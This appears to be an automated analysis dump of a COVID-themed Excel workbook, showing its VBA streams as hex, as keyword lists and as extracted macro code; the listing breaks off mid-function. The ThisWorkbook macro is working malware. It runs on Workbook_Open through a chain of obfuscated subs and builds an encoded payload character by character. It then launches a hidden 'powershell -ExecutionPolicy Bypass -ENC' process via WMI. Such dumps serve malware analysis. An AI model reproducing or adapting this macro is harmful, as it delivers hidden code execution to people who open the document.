Data Raw:	01 ae b0 00 41 74 74 72 69 62 75 74 00 65 20 56 42 5f 4e 61 6d 00 65 20 3d 20 22 53 65 72 00 76 69 63 65 20 41 72 72 20 61 79 22 0d 0a 0a 90 42 61 02 73 02 90 30 7b 30 30 30 32 60 30 38 32 30 2d 00 10 04 08 43 23 05 12 03 00 34 36 7d 0d 7c 47 6c 10 6f 62 61 6c 01 d2 53 70 61 01 00 c6 3d 20 46 61 6c 73 65 01 0c 25 43 72 65 61 74 61 62 02 6c 15 1f 50 72 65 64 65 63 24 6c 61 00 06 49

VBA Code Keywords

Keyword
False
"Service
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
Array"
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Service Array"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 171

General
Stream Path:	VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	171
Data ASCII:	. . . . A t t r i b u t . e V B _ N a m . e = " C O V . I D - 1 9 " . . . . . B a s . \| 0 { 0 . 0 0 2 0 8 2 0 - . . . . C . . . . 4 6 } . . \| G l o b a l . . . S p a c . . F a l . s e . % C r e a t . a b l . . P r e d . e c l a . . I d . # . T r u . " E x p o . s e . . . @ T e m p . l a t e D e r i . v . % C u s t o m . i z . D . 2
Data Raw:	01 a7 b0 00 41 74 74 72 69 62 75 74 00 65 20 56 42 5f 4e 61 6d 00 65 20 3d 20 22 43 4f 56 00 49 44 2d 31 39 22 0d 0a 11 0a f8 42 61 73 02 7c 30 7b 30 00 30 30 32 30 38 32 30 2d 1b 00 20 04 08 43 05 12 03 00 34 36 7d 81 0d 7c 47 6c 6f 62 61 6c 01 c8 10 53 70 61 63 01 92 46 61 6c 04 73 65 0c 25 43 72 65 61 74 08 61 62 6c 15 1f 50 72 65 64 90 65 63 6c 61 00 06 49 64 00 23 08 54 72 75

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "COVID-19"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 21290

General
Stream Path:	VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	21290
Data ASCII:	. ( . . A t t r i b u t . e V B _ N a m . e = " T h i . s W o r k b o o . k " . . . . B a s . . . 0 { 0 0 0 2 0 P 8 1 9 - . . 0 . . C # . . . . 4 6 } . \| G l . o b a l . . S p a . c . . F a l s e . % . C r e a t a b l . . . P r e d e c l . a . . I d . # T r u . . " E x p o s e . . . . @ T e m p l a t @ e D e r i v . . C . u s t o m i z . D 1 . 2 . . P . . . . C . o n s t c l O @ n e M a s k . . 1 . 6 5 1 5 0 7 2 D . . T w o . . 2 ` 5 8 0 4 8 . . . . h . r e . & 4 0 3 . $ . . . F o u r . . 6
Data Raw:	01 28 b6 00 41 74 74 72 69 62 75 74 00 65 20 56 42 5f 4e 61 6d 00 65 20 3d 20 22 54 68 69 00 73 57 6f 72 6b 62 6f 6f 10 6b 22 0d 0a 0a 8c 42 61 73 01 02 8c 30 7b 30 30 30 32 30 50 38 31 39 2d 00 10 30 03 08 43 23 05 12 03 00 34 36 7d 0d 7c 47 6c 10 6f 62 61 6c 01 d0 53 70 61 82 63 01 92 46 61 6c 73 65 0c 25 00 43 72 65 61 74 61 62 6c 01 15 1f 50 72 65 64 65 63 6c 12 61 00 06 49 64

VBA Code Keywords

Keyword
Err.Raise(vbObjectError,
objProcess
HFJWES()
Byte,
vbNullString)
Byte)
KXHYIJHM
UUWMBBYKB
XUN_Status_IIWSY
vbUnicode)
Long,
string
YPMONNH()
COATGA()
Left$(sOut,
fileStr
HGOJT
KEXMPA
JRXIGRYYS()
Select
AZZOPCRZ
Null,
SJCJKCEIK
LIOHCE
"==")
SMKCP()
Chr(IFDHRCKM)
BypasS
TLVGOS
YPMONNH
ElseIf
DNNNEG()
GNNYSJH()
VB_Exposed
vbCr,
Integer,
JEMZL
objStartup
ZCJRIAGUQ
NEQOX
ALUJKC()
sngEnd
objConfig,
objConfig
VB_GlobalNameSpace
GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM,
UBound(bIn)
KUROX
VB_Customizable
"Input
LIOHCE()
While
clFourMask
Const
YJIEAROTM
"ThisWorkbook"
Pause
XIPVTCZDC
False
CGZLOG
QVLNNDSKO()
Workbook_Open()
String,
String)
JRXIGRYYS
ROUSOTA
DNSXAYNXP()
clHighMask
StrConv(sString,
bOut((((UBound(bIn)
NJMJWPKXQ
BVPGJO
JHHCFDZ()
VerifyPath
UUWMBBYKB()
lTemp
SMKCP
VB_Creatable
clThreeMask
GYFM(FUUF
intProcessID
-ExecutionPolicy
KFUTZNLZL()
NEQOX()
GNNYSJH
VB_Name
CCLMWCIDS()
NSMUCQAR
ILLKSP()
vbLf,
FLUZTZ()
bTrans(lTemp)
"cmd.exe
clLowMask
Single
MZAYGW
ZDOHNZM
Public
ReDim
bIn()
BAWYHCKJY()
JFXGQIB
YJIEAROTM()
RPNIKTOKD
BAWYHCKJY
Replace(sString,
XUN_Status_IIWSY()
sngSecs
VB_Base
JPRWYVV
ALUJKC
OTRB(RPNIKTOKD
KEXMPA()
JEMZL()
NJMJWPKXQ()
HGOJT()
JHHCFDZ
Len(sOut)
MZAYGW()
AQMDIAVR
OOTTQRB()
"MyDecode",
IFDHRCKM
objProcess.Create
sString
OOTTQRB
TLVGOS()
bTrans(bIn(lChar
clMidMask
NSMUCQAR()
AZZOPCRZ()
""powershell
BVPGJO()
COATGA
Single)
CovidMap()
InStrRev(sString,
bOut(lPos)
DoEvents
clOneMask
VB_TemplateDerived
KNNPPF()
XIPVTCZDC()
KXHYIJHM()
bOut(lPos
VerifyPath()
clTwoMask
JPRWYVV()
strstr
SJCJKCEIK()
DNSXAYNXP
StrConv(bOut,
iPad)
String
ILLKSP
QVLNNDSKO
Timer
KFUTZNLZL
Len(sString)
ROUSOTA()
CGZLOG()
objStartup.SpawnInstance_
IZDFYVTMF
HFJWES
ZCJRIAGUQ()
NEUWH
objWMIService
Attribute
VB_PredeclaredId
JFXGQIB()
KUROX()
strstr,
FLUZTZ
DNNNEG
Function
valid
vbFromUnicode)
lChar
bOut()
KNNPPF
GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM,
Pause(sngSecs
lQuad
AQMDIAVR()
Private
objConfig.ShowWindow
IZDFYVTMF()

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Const clOneMask = 16515072   
Private Const clTwoMask = 258048     
Private Const clThreeMask = 4032     
Private Const clFourMask = 63        
Private Const clHighMask = 16711680  
Private Const clMidMask = 65280      
Private Const clLowMask = 255        
Private Const cl2Exp18 = 262144      
Private Const cl2Exp12 = 4096        
Private Const cl2Exp6 = 64           
Private Const cl2Exp8 = 256          
Private Const cl2Exp16 = 65536       

Public Function Decode64(sString As String) As String                                                    
	Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long    
	Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String 
	Dim lTemp As Long                                                                                      
	sString = Replace(sString, vbCr, vbNullString)                                                         
	sString = Replace(sString, vbLf, vbNullString)                                                         
	lTemp = Len(sString) Mod 4                                                                             
	If lTemp Then                                                                                          
		Call Err.Raise(vbObjectError, "MyDecode", "Input string is not valid Base64.")                   
	End If                                                                                                 
	If InStrRev(sString, "==") Then                                                                      
		iPad = 2                                                                                             
	ElseIf InStrRev(sString, "=") Then                                                                   
		iPad = 1                                                                                             
	End If                                                                                                 
	For lTemp = 0 To 255              
		Select Case lTemp
			Case 65 To 90
				bTrans(lTemp) = lTemp - 65 
			Case 97 To 122
				bTrans(lTemp) = lTemp - 71
			Case 48 To 57
				bTrans(lTemp) = lTemp + 4
			Case 43
				bTrans(lTemp) = 62
			Case 47
				bTrans(lTemp) = 63
		End Select
	Next lTemp
	For lTemp = 0 To 63
		lPowers6(lTemp) = lTemp * cl2Exp6
		lPowers12(lTemp) = lTemp * cl2Exp12
		lPowers18(lTemp) = lTemp * cl2Exp18
	Next lTemp
	bIn = StrConv(sString, vbFromUnicode) 
	ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
	For lChar = 0 To UBound(bIn) Step 4
		lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + 				lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3)) 
		lTemp = lQuad And clHighMask
		bOut(lPos) = lTemp \ cl2Exp16
		lTemp = lQuad And clMidMask
		bOut(lPos + 1) = lTemp \ cl2Exp8
		bOut(lPos + 2) = lQuad And clLowMask
		lPos = lPos + 3
	Next lChar
	sOut = StrConv(bOut, vbUnicode)    
	If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
	Decode64 = sOut
End Function


Public Sub Pause(sngSecs As Single)
	Dim sngEnd As Single
	sngEnd = Timer + sngSecs
	While Timer < sngEnd
		DoEvents
	Wend
End Sub


Private Function VerifyPath()
	Dim fileStr As String
	VerifyPath = Decode64(XUN_Status_IIWSY())
End Function

Private Sub CovidMap()
	Pause (6)
	Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
	Set objStartup = objWMIService.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = 0
	Dim strstr As String
	strstr = "cmd.exe /c ""powershell -ExecutionPolicy BypasS -ENC " + StrConv(Decode64(XUN_Status_IIWSY()), vbFromUnicode) + """"
	Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
	objProcess.Create strstr, Null, objConfig, intProcessID
End Sub

Private Sub Workbook_Open()
	Call CCLMWCIDS()
End Sub
Public Sub CCLMWCIDS()
	Call BAWYHCKJY
End Sub
Public Sub BAWYHCKJY()
	Call QVLNNDSKO
End Sub
Public Sub QVLNNDSKO()
	Call KNNPPF
End Sub
Public Sub KNNPPF()
	Call JPRWYVV
End Sub
Public Sub JPRWYVV()
	Call KUROX
End Sub
Public Sub KUROX()
	Call JRXIGRYYS
End Sub
Public Sub JRXIGRYYS()
	Call YPMONNH
End Sub
Public Sub YPMONNH()
	Call COATGA
End Sub
Public Sub COATGA()
	Call AQMDIAVR
End Sub
Public Sub AQMDIAVR()
	Call BVPGJO
End Sub
Public Sub BVPGJO()
	Call KXHYIJHM
End Sub
Public Sub KXHYIJHM()
	Call NJMJWPKXQ
End Sub
Public Sub NJMJWPKXQ()
	Call ALUJKC
End Sub
Public Sub ALUJKC()
	Call DNSXAYNXP
End Sub
Public Sub DNSXAYNXP()
	Call ZCJRIAGUQ
End Sub
Public Sub ZCJRIAGUQ()
	Call ILLKSP
End Sub
Public Sub ILLKSP()
	Call NEQOX
End Sub
Public Sub NEQOX()
	Call KFUTZNLZL
End Sub
Public Sub KFUTZNLZL()
	Call TLVGOS
End Sub
Public Sub TLVGOS()
	Call OOTTQRB
End Sub
Public Sub OOTTQRB()
	Call FLUZTZ
End Sub
Public Sub FLUZTZ()
	Call CGZLOG
End Sub
Public Sub CGZLOG()
	Call HFJWES
End Sub
Public Sub HFJWES()
	Call XIPVTCZDC
End Sub
Public Sub XIPVTCZDC()
	Call NSMUCQAR
End Sub
Public Sub NSMUCQAR()
	Call LIOHCE
End Sub
Public Sub LIOHCE()
	Call HGOJT
End Sub
Public Sub HGOJT()
	Call JHHCFDZ
End Sub
Public Sub JHHCFDZ()
	Call IZDFYVTMF
End Sub
Public Sub IZDFYVTMF()
	Call JFXGQIB
End Sub
Public Sub JFXGQIB()
	Call ROUSOTA
End Sub
Public Sub ROUSOTA()
	Call JEMZL
End Sub
Public Sub JEMZL()
	Call SJCJKCEIK
End Sub
Public Sub SJCJKCEIK()
	Call AZZOPCRZ
End Sub
Public Sub AZZOPCRZ()
	Call SMKCP
End Sub
Public Sub SMKCP()
	Call KEXMPA
End Sub
Public Sub KEXMPA()
	Call DNNNEG
End Sub
Public Sub DNNNEG()
	Call YJIEAROTM
End Sub
Public Sub YJIEAROTM()
	Call GNNYSJH
End Sub
Public Sub GNNYSJH()
	Call MZAYGW
End Sub
Public Sub MZAYGW()
	Call UUWMBBYKB
End Sub
Public Sub UUWMBBYKB()
	 Call CovidMap()
End Sub


Private Function OTRB(RPNIKTOKD As String, NEUWH As String) As String
OTRB = RPNIKTOKD + NEUWH
End Function
Private Function GYFM(FUUF As String, IFDHRCKM As Byte) As String
GYFM = FUUF & Chr(IFDHRCKM)
End Function
Private Function FGLOUSGPMUJXUKN0() As String
   Dim ZDOHNZM As String

    ZDOHNZM = ""
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 87), 103), 66), 110), 65), 69), 73), 65), 77), 81), 66), 66), 65), 69), 99), 65), 78), 65), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 70), 107), 65), 100), 119), 66), 67), 65), 68), 65), 65), 81), 81), 66), 72), 65), 71), 115), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 105), 65), 72), 99), 65), 81), 103), 66), 49), 65), 69), 69), 65), 81), 119), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 86), 81), 66), 66), 65), 69), 73), 65), 86), 65), 66), 66), 65), 69), 77), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 77), 65), 66), 66), 65), 70), 77), 65), 85), 81), 66), 67), 65), 72), 85), 65), 81), 81), 66), 73)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 48), 65), 81), 81), 66), 107), 65), 69), 69), 65), 81), 103), 66), 111), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 82), 119), 66), 51), 65), 69), 69), 65), 89), 103), 66), 66), 65), 69), 73), 65), 98), 65), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 103), 65), 83), 81), 66), 66), 65), 70), 89), 65), 90), 119), 66), 66), 65), 72), 107), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 68), 65), 69), 69), 65), 81), 81), 66), 108), 65), 72), 99), 65), 81), 81), 66), 76)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 119), 66), 66), 65), 69), 69), 65), 83), 81), 66), 66), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 90), 119), 66), 66), 65), 69), 77), 65), 81), 81), 66), 66), 65), 71), 77), 65), 81), 81), 66), 67)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 71), 103), 65), 81), 81), 66), 73), 65), 69), 107), 65), 81), 81), 66), 90), 65), 70), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 103), 66), 48), 65), 69), 69), 65), 81), 119), 66), 110), 65), 69), 69), 65), 81), 119), 66), 110)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 90), 119), 66), 66), 65), 69), 77), 65), 81), 81), 66), 66), 65), 69), 107), 65)

    FGLOUSGPMUJXUKN0 = ZDOHNZM
End Function

Private Function FGLOUSGPMUJXUKN1() As String
   Dim ZDOHNZM As String

    ZDOHNZM = ""
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 66), 65), 71), 99), 65), 81), 81), 66), 68), 65), 69), 69), 65), 81), 81), 66), 74)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 81), 66), 110), 65), 69), 69), 65), 81), 119), 66), 66), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 86), 119), 66), 51), 65), 69), 73), 65), 85), 81), 66), 66), 65), 69), 99), 65), 82), 81), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 71), 77), 65), 90), 119), 66), 67), 65), 71), 103), 65), 81), 81), 66), 72), 65), 68), 65), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 97), 65), 70), 69), 65), 81), 103), 65), 119), 65), 69), 69), 65), 82), 119), 66), 86)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 89), 119), 66), 110), 65), 69), 69), 65), 98), 119), 66), 66), 65), 69), 85), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 77), 65), 66), 66), 65), 70), 107), 65), 85), 81), 66), 67), 65), 72), 85), 65), 81), 81), 66), 72)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 70), 69), 65), 81), 81), 66), 90), 65), 70), 69), 65), 81), 103), 65), 119), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 82), 119), 65), 52), 65), 69), 69), 65), 89), 119), 66), 110), 65), 69), 73), 65), 78), 81), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 81), 65), 77), 65), 66), 66), 65), 69), 111), 65), 81), 81), 66), 67), 65), 68), 65), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 73), 65), 69), 107), 65), 81), 81), 66), 107), 65), 70), 69), 65), 81), 103), 66), 115)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 119), 66), 51), 65), 69), 69), 65), 83), 81), 66), 66), 65), 69), 73), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 85), 81), 66), 66), 65), 69), 99), 65), 79), 65), 66), 66), 65), 71), 77), 65), 100), 119), 66), 67)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 72), 65), 65), 81), 81), 66), 73), 65), 70), 69), 65), 81), 81), 66), 104), 65), 70), 69), 65)

    FGLOUSGPMUJXUKN1 = ZDOHNZM
End Function

Private Function FGLOUSGPMUJXUKN2() As String
   Dim ZDOHNZM As String

    ZDOHNZM = ""
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 103), 66), 50), 65), 69), 69), 65), 82), 119), 65), 48), 65), 69), 69), 65), 85), 65), 66), 82)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 100), 119), 66), 66), 65), 69), 77), 65), 97), 119), 66), 66), 65), 70), 103), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 85), 81), 66), 66), 65), 69), 115), 65), 81), 81), 66), 68), 65), 69), 69), 65), 81), 81), 66), 74)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 81), 66), 110), 65), 69), 69), 65), 81), 119), 66), 66), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 83), 81), 66), 66), 65), 69), 69), 65), 90), 119), 66), 66), 65), 69), 77), 65), 81), 81), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 107), 65), 81), 81), 66), 67), 65), 71), 73), 65), 81), 81), 66), 73), 65), 69), 48), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 107), 65), 69), 69), 65), 81), 103), 66), 53), 65), 69), 69), 65), 82), 119), 66), 114)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 89), 103), 66), 110), 65), 69), 73), 65), 98), 103), 66), 66), 65), 69), 89), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 77), 65), 66), 66), 65), 69), 107), 65), 81), 81), 66), 66), 65), 71), 115), 65), 81), 81), 66), 72)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 72), 99), 65), 81), 81), 66), 104), 65), 70), 69), 65), 81), 103), 66), 49), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 82), 119), 66), 122), 65), 69), 69), 65), 84), 65), 66), 66), 65), 69), 69), 65), 83), 119), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 77), 65), 81), 81), 66), 66), 65), 69), 107), 65), 81), 81), 66), 66), 65), 71), 99), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 68), 65), 69), 69), 65), 81), 81), 66), 74), 65), 69), 69), 65), 81), 81), 66), 110)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 119), 66), 66), 65), 69), 69), 65), 83), 81), 66), 66), 65), 69), 73), 65)

    FGLOUSGPMUJXUKN2 = ZDOHNZM
End Function

Private Function FGLOUSGPMUJXUKN3() As String
   Dim ZDOHNZM As String

    ZDOHNZM = ""
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 89), 103), 66), 66), 65), 69), 89), 65), 81), 81), 66), 66), 65), 70), 107), 65), 85), 81), 66), 67)
